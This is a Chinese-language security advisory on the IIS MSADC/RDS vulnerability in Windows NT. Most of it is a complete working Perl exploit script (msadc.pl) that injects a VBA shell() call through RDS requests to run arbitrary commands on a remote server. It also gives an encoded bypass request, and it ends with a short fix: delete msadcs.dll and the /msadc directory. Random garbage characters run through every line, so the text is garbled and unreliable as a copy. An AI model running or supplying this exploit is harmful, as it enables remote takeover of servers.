IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
hXP'NS`iv 4mwA o 涉及程序:
&v&e-|r8; Microsoft NT server
"I^pb.3 "I&,':O+ 描述:
PQ4)kVT 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
n~v* Q`(h 详细:
jR mo9Bb2 如果你没有时间读详细内容的话,就删除:
FK`M+ j c:\Program Files\Common Files\System\Msadc\msadcs.dll
S1d{! ` 3 有关的安全问题就没有了。
,
Y cF~ eRvnN>L 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
};nOG; vo]$[Cp|4 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
}Uunlz< 关于利用ODBC远程漏洞的描述,请参看:
LE4P$%>H tLe"i> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2)+ddel<Z bRK[u\, 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
0z=^_Fb http://www.microsoft.com/security/bulletins/MS99-025faq.asp '645Fr[lg LP5@ID2G 这里不再论述。
Xe:e./@ hGlRf_{ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
~mu)Cw 7&
G#&d /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
v
L!?4k 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
f!+G1z}iA ]sV) '- CC{{@
#将下面这段保存为txt文件,然后: "perl -x 文件名"
ev%}\^Vl[ 8/+x1, S% #!perl
aj@<4A=; #
K6@9=_A # MSADC/RDS 'usage' (aka exploit) script
l*>,:y #
jij-pDQnv # by rain.forest.puppy
K._*
~-A #
gqQ"'SRw # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
lc\f6J>HT # beta test and find errors!
nM6/c ;\)N7SJ use Socket; use Getopt::Std;
) E(9
R( getopts("e:vd:h:XR", \%args);
WeRX ~ gC\^"m print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
h(3ko
An D;WQNlTU if (!defined $args{h} && !defined $args{R}) {
\ q=Bbfzv print qq~
Dro2R_j{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
b;Uqyc -h <host> = host you want to scan (ip or domain)
+C){&/=# -d <seconds> = delay between calls, default 1 second
u(Y?2R -X = dump Index Server path table, if available
Y SD|#0 -v = verbose
4WZ"8 -e = external dictionary file for step 5
O2C&XeB:4 $jgEB+ Or a -R will resume a command session
\N"=qw^ t FW--|X]8 ~; exit;}
qQx5n :x/L.Bz $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
n6s[q-td if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
= s$UU15 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
xO2CgqEb if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
p}O[A` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
x^P ~+(g if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
>'96SE3 /$?7L( if (!defined $args{R}){ $ret = &has_msadc;
-/ h'uG die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
!Xf7RT ?PST.+l print "Please type the NT commandline you want to run (cmd /c assumed):\n"
eIY![..J/N . "cmd /c ";
h!h<!xaclW $in=<STDIN>; chomp $in;
:~{x'`czJ $command="cmd /c " . $in ;
:ZP`Y%dt' ^TCgSi7k`L if (defined $args{R}) {&load; exit;}
qJPEq%'Q UCF'%R print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
z]O,Vqpl? &try_btcustmr;
QpC,komLJ .cA'6J"Bm\ print "\nStep 2: Trying to make our own DSN...";
:bV1M5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
DQRr(r~2Kj yi$ Jk}w print "\nStep 3: Trying known DSNs...";
ohj(1jt &known_dsn;
9$oU6#U,h 1feS/l$ print "\nStep 4: Trying known .mdbs...";
I-?Dil3 &known_mdb;
Jt}0%C3d >@wyiBU if (defined $args{e}){
?R VY%s;g print "\nStep 5: Trying dictionary of DSN names...";
6Om)e=gU/ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
t;e+WZkV VQ((c:+! print "Sorry Charley...maybe next time?\n";
oD>j26Q exit;
VLO!hA# +9d]([Lx ##############################################################################
Y] "_} ZAcH`r* sub sendraw { # ripped and modded from whisker
#Kd^t=k sleep($delay); # it's a DoS on the server! At least on mine...
fKN&0N|^R my ($pstr)=@_;
[>N`)]fP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
FSn&N2[D die("Socket problems\n");
8#&axg?a if(connect(S,pack "SnA4x8",2,80,$target)){
g(Dr/D select(S); $|=1;
s#*T(pY print $pstr; my @in=<S>;
6 (@U+` select(STDOUT); close(S);
eH9Ofhsry return @in;
Yf=Puy}q } else { die("Can't connect...\n"); }}
Q4vl FJl_2 ##############################################################################
}uaRS9d H6I]GcZ$ sub make_header { # make the HTTP request
++)3*+N+
my $msadc=<<EOT
S_ Pa . POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
hwR_<'! User-Agent: ACTIVEDATA
p2Fff4nQ Host: $ip
{j{H@rHuy Content-Length: $clen
#ovmX Connection: Keep-Alive
ExDv7St1(k !uwZ%Uxz ADCClientVersion:01.06
@ZUrr_| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
eVy> ,m)k;co^ --!ADM!ROX!YOUR!WORLD!
!QTfQ69Y0 Content-Type: application/x-varg
;@R=CQ6 Content-Length: $reqlen
2GRdfX qB0F9[U EOT
B<p -.tv ; $msadc=~s/\n/\r\n/g;
WzwH;! return $msadc;}
2a3RRP WFTXSHcG ##############################################################################
5!pof\/a NEb M>1>^ sub make_req { # make the RDS request
[G/ti&Od^ my ($switch, $p1, $p2)=@_;
XzBnj7E my $req=""; my $t1, $t2, $query, $dsn;
,4&?`Q `f~\d.*U if ($switch==1){ # this is the btcustmr.mdb query
QxaW
x $query="Select * from Customers where City=" . make_shell();
g} /efE $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
V{yP/X
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/P>t3E2c ZgP~VB0)$ elsif ($switch==2){ # this is general make table query
?mCino $query="create table AZZ (B int, C varchar(10))";
X?8 EPCk $dsn="$p1";}
qij<XNZU"& I\DH elsif ($switch==3){ # this is general exploit table query
XFiP8aX< $query="select * from AZZ where C=" . make_shell();
&=-ZNWNo $dsn="$p1";}
qlJzXq{|` (WISf}[l; elsif ($switch==4){ # attempt to hork file info from index server
z9B""ws $query="select path from scope()";
bkvm-$/ $dsn="Provider=MSIDXS;";}
^-&BGQM PS=N]e7k' elsif ($switch==5){ # bad query
4|#@41\ B $query="select";
WX9ABh& 5 $dsn="$p1";}
-xXz}2S4 :47bf<w|Y $t1= make_unicode($query);
?2zbZ $t2= make_unicode($dsn);
v,VCbmc $req = "\x02\x00\x03\x00";
$xK2M $req.= "\x08\x00" . pack ("S1", length($t1));
'fGB#uBt $req.= "\x00\x00" . $t1 ;
ip`oL_c $req.= "\x08\x00" . pack ("S1", length($t2));
jrl'?`O $req.= "\x00\x00" . $t2 ;
y|7sh $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~.*G%TW &V return $req;}
.a0]1IkatV $k,wA8OZ- ##############################################################################
A./VO `v|w&ty* sub make_shell { # this makes the shell() statement
1ab_^P return "'|shell(\"$command\")|'";}
,_N+t:*#0 pmIOV~K ##############################################################################
$:i%\7= wIbxnn sub make_unicode { # quick little function to convert to unicode
\@}G'7{ my ($in)=@_; my $out;
fy6<KEea for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
NZTG)< return $out;}
UCz\SZ{za }^@Q9<P^E ##############################################################################
iaAj|: IOjp'6Yr sub rdo_success { # checks for RDO return success (this is kludge)
5x=aJl;G my (@in) = @_; my $base=content_start(@in);
@5rl;C if($in[$base]=~/multipart\/mixed/){
s
IE2a0+ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
;Eer return 0;}
V8Fp1?E9S {#_CzI.0f ##############################################################################
ye-EJDZN U $2"ZyFii sub make_dsn { # this makes a DSN for us
DT Cwf my @drives=("c","d","e","f");
\{8?HjJEM print "\nMaking DSN: ";
e}u68|\EC foreach $drive (@drives) {
1LK` print "$drive: ";
EDA%qNd]j my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
S#{jyU9 ] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
b5@sG^ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
sYG:\>}ie $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
)9]DJ!]&Q" return 0 if $2 eq "404"; # not found/doesn't exist
<y}9Twdy if($2 eq "200") {
l
10p'9n foreach $line (@results) {
g5OKhL0u return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
x%!Ea{s } return 0;}
n`Y"b& 0|J]EsPxu ##############################################################################
$5]}] @|2L>N sub verify_exists {
c;13V(Djy my ($page)=@_;
]VkM)< + my @results=sendraw("GET $page HTTP/1.0\n\n");
dKk#j@[n" return $results[0];}
N*w6D: ^7Hwpn7E ##############################################################################
yd|ro G/ IW{}l=D/ sub try_btcustmr {
d$H my @drives=("c","d","e","f");
hb. ^& my @dirs=("winnt","winnt35","winnt351","win","windows");
IrMUw$ 44x+2@&1 foreach $dir (@dirs) {
lM|}K-2 print "$dir -> "; # fun status so you can see progress
@fc-[pv foreach $drive (@drives) {
\}n\cUy- print "$drive: "; # ditto
g!\H^d4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
@BmI1 $reqlenlen=length( "$reqlen" );
28!
ke $clen= 206 + $reqlenlen + $reqlen;
"M!]t,?S f'oO/0lx my @results=sendraw(make_header() . make_req(1,$drive,$dir));
sOyL if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^cnTZzT#Q else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
s 0To^I _t/~C*=:= ##############################################################################
2bnYYQ14: z%Eok sub odbc_error {
CK"OHjR my (@in)=@_; my $base;
tgVMgu my $base = content_start(@in);
.}c&"L;W if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
&Yklf?EZ>Q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i<b-$9 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Mgp+#w+, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L[cP2X]NQ return $in[$base+4].$in[$base+5].$in[$base+6];}
KbSE=3 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
+Zg@X.z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
cFZcBiw $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
*8I"7'xh 'nT#c[x[0 ##############################################################################
QG=K^g II'"Nkxd sub verbose {
9Rm\@E
[ my ($in)=@_;
I !J' return if !$verbose;
8-PHW,1@a3 print STDOUT "\n$in\n";}
,gdud[&|; rQD^O4j R ##############################################################################
PWBcK_4i% KDS}"/ sub save {
N`HiNb
[ my ($p1, $p2, $p3, $p4)=@_;
[0n[ \&
0 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
jcbq# print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
F;L8FL- close OUT;}
'N3)>!Y:8 b]b+PK*h ##############################################################################
~JS BZ@ h5Ee*De sub load {
>i_ #q$o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
x^79s_h5 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
7tP%tp
ez @p=<IN>; close(IN);
]SmN}Iq1 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Miz?t*|{[ $target= inet_aton($ip) || die("inet_aton problems");
;O7Vl5R print "Resuming to $ip ...";
i*((@: $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
#M)+sK$H%f if($p[1]==1) {
]5r@`%9 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
!T#EkMM $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
1{AK=H') my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
jx{wOb~oO) if (rdo_success(@results)){print "Success!\n";}
z*UgRLKZD else { print "failed\n"; verbose(odbc_error(@results));}}
)*XD"-9 elsif ($p[1]==3){
v&qL r+_7 if(run_query("$p[3]")){
IG Ax+3V print "Success!\n";} else { print "failed\n"; }}
}a%1$>sj elsif ($p[1]==4){
GO)5R, if(run_query($drvst . "$p[3]")){
$Jo4n>/ print "Success!\n"; } else { print "failed\n"; }}
ph$vP;} exit;}
bO` SBq$ @h9QfJ_f ##############################################################################
i }_" L|L;< sub create_table {
Sh2BU3 my ($in)=@_;
akFT 0@9 $reqlen=length( make_req(2,$in,"") ) - 28;
7^7Jh&b)/ $reqlenlen=length( "$reqlen" );
#U(kK(uO $clen= 206 + $reqlenlen + $reqlen;
`&9iC 4P my @results=sendraw(make_header() . make_req(2,$in,""));
E&N~h|CL return 1 if rdo_success(@results);
9:P\)'y? my $temp= odbc_error(@results); verbose($temp);
<L+1
&H return 1 if $temp=~/Table 'AZZ' already exists/;
MD^,"!A return 0;}
5eiKMKW[ I^Dm 3yz ##############################################################################
N8iLI` "~mY4WVG sub known_dsn {
2?{'(iay # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
nTl2F1(sV7 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
e%lxRN"b "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
=4$ErwI_dm "banner", "banners", "ads", "ADCDemo", "ADCTest");
xnfJruT +e,c'. foreach $dSn (@dsns) {
l,*5*1lM print ".";
Wu" 1M^a next if (!is_access("DSN=$dSn"));
g4u6#.m( if(create_table("DSN=$dSn")){
pMJm@f print "$dSn successful\n";
|BUgsE if(run_query("DSN=$dSn")){
@,j,GE% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
+n<W#O% print "Something's borked. Use verbose next time\n";}}} print "\n";}
"x vizvR U:z5`z! ##############################################################################
]q~bi<E9W n@L@pgo%~ sub is_access {
U\u07^h[ my ($in)=@_;
T 5F) $reqlen=length( make_req(5,$in,"") ) - 28;
S:XsO9:{ $reqlenlen=length( "$reqlen" );
7=D,D+f $clen= 206 + $reqlenlen + $reqlen;
):[}NDmC my @results=sendraw(make_header() . make_req(5,$in,""));
?;y-skh my $temp= odbc_error(@results);
>C19Kie72 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
]}kw'& return 0;}
ap8q`a{j^ 4l7
Ny\J ##############################################################################
zn>+\ wBvVY3VQ^
sub run_query {
ZS%W/.? my ($in)=@_;
;{aGEOP'U $reqlen=length( make_req(3,$in,"") ) - 28;
`U=Jbdc l3 $reqlenlen=length( "$reqlen" );
$H)QUFyC $clen= 206 + $reqlenlen + $reqlen;
t.dr<
my @results=sendraw(make_header() . make_req(3,$in,""));
|dz"uIrT return 1 if rdo_success(@results);
X5\xq+Ih my $temp= odbc_error(@results); verbose($temp);
4BSqL!i( return 0;}
+TyN;e 1+gF fKq ##############################################################################
|;7mDhj= b8_F2 sub known_mdb {
|j-ng; my @drives=("c","d","e","f","g");
$_iE^zZaU^ my @dirs=("winnt","winnt35","winnt351","win","windows");
4&=</ok6`0 my $dir, $drive, $mdb;
JEk'2Htx my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<:Mz2Rg WQ}wQ:] # this is sparse, because I don't know of many
E%DT;1 my @sysmdbs=( "\\catroot\\icatalog.mdb",
qY$ [2] "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
NYr)=&)Ke. "\\system32\\certmdb.mdb",
*FktI\tS "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
EK5$z>k>m 0>8w On my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
B;?)X&n|X "\\cfusion\\cfapps\\forums\\forums_.mdb",
Q`W2\Kod] "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
2lO(f+ "\\cfusion\\cfapps\\security\\realm_.mdb",
^86M94k "\\cfusion\\cfapps\\security\\data\\realm.mdb",
f9 \$,7F "\\cfusion\\database\\cfexamples.mdb",
YrJUs]A "\\cfusion\\database\\cfsnippets.mdb",
!:m.-TE "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
2Kf/I d1 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
K2yu}F ^} "\\cfusion\\brighttiger\\database\\cleam.mdb",
e MHz/;I "\\cfusion\\database\\smpolicy.mdb",
p_g`f9q6D "\\cfusion\\database\cypress.mdb",
b _<n]P*) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Pmo<t6 "\\website\\cgi-win\\dbsample.mdb",
:dh; @kp "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
&92/qRh7 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
+]nIr'V ); #these are just
MqB@}! foreach $drive (@drives) {
4qz+cB_ foreach $dir (@dirs){
bD0l^?Hu! foreach $mdb (@sysmdbs) {
rVqQo`K\ print ".";
j<P;: if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
s~].iQJ{B print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
|$b8(g$s) if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
y]0O"X-G print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
x};~8lGT>t } else { print "Something's borked. Use verbose next time\n"; }}}}}
4"k &9+> 6e rYjq foreach $drive (@drives) {
2
4+ foreach $mdb (@mdbs) {
^8;MY5Wbs print ".";
#|ts1lD#ah if(create_table($drv . $drive . $dir . $mdb)){
",.f
print "\n" . $drive . $dir . $mdb . " successful\n";
D>[Sib/@ if(run_query($drv . $drive . $dir . $mdb)){
"qNFDr(WM print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Jz~: } else { print "Something's borked. Use verbose next time\n"; }}}}
!9WGZfK+0Y }
gK QJ^a\! >]pZ;e$ ##############################################################################
|67Jw2 zQ|2D*W sub hork_idx {
?W{+[OXs print "\nAttempting to dump Index Server tables...\n";
*{vH9TO print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
X2@Ef2EkM $reqlen=length( make_req(4,"","") ) - 28;
C3{hf $reqlenlen=length( "$reqlen" );
?a3wBy $clen= 206 + $reqlenlen + $reqlen;
+7}^Y}( my @results=sendraw2(make_header() . make_req(4,"",""));
aWIkp5BFj if (rdo_success(@results)){
Jgv Mx my $max=@results; my $c; my %d;
7%i'F=LzT for($c=19; $c<$max; $c++){
hqvhnqQk $results[$c]=~s/\x00//g;
V!+iq*Z|= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
3"7Q[9Oj $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
v*?8 :>:} $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
JFVx& $d{"$1$2"}="";}
6[3Xe_ foreach $c (keys %d){ print "$c\n"; }
/iFn=pk1? } else {print "Index server doesn't seem to be installed.\n"; }}
ANFes*8j IQ@9S ##############################################################################
S>0%jCjW `P;r[j" sub dsn_dict {
K2zln_W open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ywAvqT, while(<IN>){
dGYR
'x $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
M; wKTTQy next if (!is_access("DSN=$dSn"));
@01.Pd if(create_table("DSN=$dSn")){
iHGVR print "$dSn successful\n";
A.vAk''(}+ if(run_query("DSN=$dSn")){
VKDOM0{V print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P}}G9^ print "Something's borked. Use verbose next time\n";}}}
d\JaYizp print "\n"; close(IN);}
\{ @m k_,7#:+ ##############################################################################
QQS*r}> |+q_kx@?l sub sendraw2 { # ripped and modded from whisker
qU!dg sleep($delay); # it's a DoS on the server! At least on mine...
^A@f{g$KB+ my ($pstr)=@_;
%xlpOR4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
]
#@:VR die("Socket problems\n");
*'-4%7C`1 if(connect(S,pack "SnA4x8",2,80,$target)){
&SE}5ddC7 print "Connected. Getting data";
bg i_QB#k\ open(OUT,">raw.out"); my @in;
no3yzF3Hi select(S); $|=1; print $pstr;
>+a\BK"k while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
;_I>`h"r close(OUT); select(STDOUT); close(S); return @in;
}#FV{C] } else { die("Can't connect...\n"); }}
]ZcivnN# x
vs=T ##############################################################################
$Y|OGZH8E @KTuG ?. sub content_start { # this will take in the server headers
<R]m( my (@in)=@_; my $c;
{s
mk<NL for ($c=1;$c<500;$c++) {
u2oS Ci if($in[$c] =~/^\x0d\x0a/){
zWC| Qe if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
L;RE5YrH%6 else { return $c+1; }}}
}ssV"5M return -1;} # it should never get here actually
>[;W~* -wXeue},> ##############################################################################
Mp`$1Ksn {$z54nvw$ sub funky {
1%+-}yo< my (@in)=@_; my $error=odbc_error(@in);
qSvV|G if($error=~/ADO could not find the specified provider/){
:hZM$4 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
~S/oW89 exit;}
bFG~08Z ,d if($error=~/A Handler is required/){
XPX?+W=mv print "\nServer has custom handler filters (they most likely are patched)\n";
(SyD)G\rj exit;}
W#F9Qw if($error=~/specified Handler has denied Access/){
Hh1_zd| print "\nServer has custom handler filters (they most likely are patched)\n";
XGB\rfvS exit;}}
@ b!]Jw .yj@hpJM ##############################################################################
9>~pA]j% cW:y^(X ii sub has_msadc {
`j>5W<5q\ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
^cYB.oeu my $base=content_start(@results);
#hxYB return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
5skN'*oG return 0;}
L]kBY2c |Mb{0mKb ########################
G!Zb27u+ 5bLNQz\WJ 1p}H,\o 解决方案:
oVvA`} 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
j L|6i-?! 2、移除web 目录: /msadc